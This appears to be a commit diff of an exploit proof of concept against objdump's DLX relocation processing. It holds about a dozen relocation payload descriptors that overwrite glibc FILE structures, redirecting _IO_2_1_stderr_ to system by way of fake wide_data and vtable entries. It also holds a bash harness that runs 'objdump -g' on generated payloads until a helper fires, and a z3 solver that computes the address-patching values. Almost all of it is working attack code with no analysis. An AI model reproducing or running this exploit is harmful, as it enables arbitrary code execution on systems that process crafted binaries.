023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,40 @@
#!/usr/bin/env bash
set -u
BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
OUT_DIR="${2:-$BASE_DIR/payloads}"
MAX_TRIES="${MAX_TRIES:-50}"
if [ "$#" -lt 1 ]; then
echo "usage: $0 /path/to/objdump [payload-directory]" >&2
exit 2
fi
OBJ="$1"
if [ ! -x "$OBJ" ]; then
echo "objdump not executable: $OBJ" >&2
exit 2
fi
if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then
python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null
fi
cd "$BASE_DIR" || exit 2
export PATH="$BASE_DIR:$PATH"
rm -f "$BASE_DIR/calc_hit.log"
for try in $(seq 1 "$MAX_TRIES"); do
for payload in "$OUT_DIR"/*.bin; do
python3 -c 'import subprocess, sys
subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true
if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then
echo "HIT try=$try payload=$payload"
exit 0
fi
done
done
echo "MISS after $MAX_TRIES sweeps" >&2
exit 1

View File

@@ -0,0 +1,159 @@
#!/usr/bin/env python3
import argparse
from itertools import product
from z3 import BitVec, BitVecVal, Extract, Solver, ZeroExt, sat
STDERR = 0x2044E0
SYSTEM = 0x58750
def bytes_from_word32(x):
return [(x >> (8 * i)) & 0xFF for i in range(4)]
def z3_input(base):
p = (base + STDERR) & 0xFFFFFFFF
p = BitVecVal(p, 32)
return [Extract(8 * i + 7, 8 * i, p) for i in range(4)]
def z3_target(base):
s = (base + SYSTEM) & 0xFFFFFFFF
s = BitVecVal(s, 32)
return [Extract(8 * i + 7, 8 * i, s) for i in range(4)]
def add8(bs, off, k):
out = list(bs)
out[off] = out[off] + Extract(7, 0, k)
return out
def add16(bs, off, k):
out = list(bs)
w = (ZeroExt(8, bs[off]) << 8) | ZeroExt(8, bs[off + 1])
w = Extract(15, 0, w + Extract(15, 0, k))
out[off] = Extract(15, 8, w)
out[off + 1] = Extract(7, 0, w)
return out
def add32(bs, off, k):
out = list(bs)
w = (
(ZeroExt(24, bs[off]) << 24)
| (ZeroExt(24, bs[off + 1]) << 16)
| (ZeroExt(24, bs[off + 2]) << 8)
| ZeroExt(24, bs[off + 3])
)
w = w + k
out[off] = Extract(31, 24, w)
out[off + 1] = Extract(23, 16, w)
out[off + 2] = Extract(15, 8, w)
out[off + 3] = Extract(7, 0, w)
return out
def apply_z3(bs, op, k):
kind, off = op
if kind == 8:
return add8(bs, off, k)
if kind == 16:
return add16(bs, off, k)
if kind == 32:
return add32(bs, off, k)
raise ValueError(op)
def apply_concrete(bs, op, k):
bs = list(bs)
kind, off = op
if kind == 8:
bs[off] = (bs[off] + k) & 0xFF
elif kind == 16:
w = ((bs[off] << 8) | bs[off + 1])
w = (w + k) & 0xFFFF
bs[off] = (w >> 8) & 0xFF
bs[off + 1] = w & 0xFF
elif kind == 32:
w = (bs[off] << 24) | (bs[off + 1] << 16) | (bs[off + 2] << 8) | bs[off + 3]
w = (w + k) & 0xFFFFFFFF
bs[off] = (w >> 24) & 0xFF
bs[off + 1] = (w >> 16) & 0xFF
bs[off + 2] = (w >> 8) & 0xFF
bs[off + 3] = w & 0xFF
return bs
def check_all(seq, ks):
for base in range(0, 1 << 32, 0x1000):
bs = bytes_from_word32((base + STDERR) & 0xFFFFFFFF)
want = bytes_from_word32((base + SYSTEM) & 0xFFFFFFFF)
for op, k in zip(seq, ks):
bs = apply_concrete(bs, op, k)
if bs != want:
return False
return True
def solve_sequence(seq):
reps = [
0x00000000,
0x00008000,
0x00DFC000,
0x00E08000,
0xFFDFC000,
0xFFE08000,
]
solver = Solver()
ks = []
for i, op in enumerate(seq):
width = {8: 8, 16: 16, 32: 32}[op[0]]
ks.append(BitVec(f"k{i}", width))
for base in reps:
bs = z3_input(base)
for op, k in zip(seq, ks):
if op[0] != k.size():
k = ZeroExt(op[0] - k.size(), k)
bs = apply_z3(bs, op, k)
want = z3_target(base)
for got, expected in zip(bs, want):
solver.add(got == expected)
if solver.check() != sat:
return None
model = solver.model()
vals = [model[k].as_long() for k in ks]
if check_all(seq, vals):
return vals
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--max-extra", type=int, default=4)
parser.add_argument("--mode", choices=("all", "r32-first", "r32-last"), default="r32-first")
args = parser.parse_args()
ops = [(32, 0)] + [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
correction_ops = [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
for extra in range(0, args.max_extra + 1):
print(f"extra={extra}", flush=True)
if args.mode == "all":
sequences = product(ops, repeat=extra + 1)
elif args.mode == "r32-first":
sequences = (((32, 0), *tail) for tail in product(correction_ops, repeat=extra))
else:
sequences = ((*head, (32, 0)) for head in product(correction_ops, repeat=extra))
for seq in sequences:
result = solve_sequence(seq)
if result is not None:
print("FOUND", seq, [hex(x) for x in result])
return 0
print("no sequence found")
return 1
if __name__ == "__main__":
raise SystemExit(main())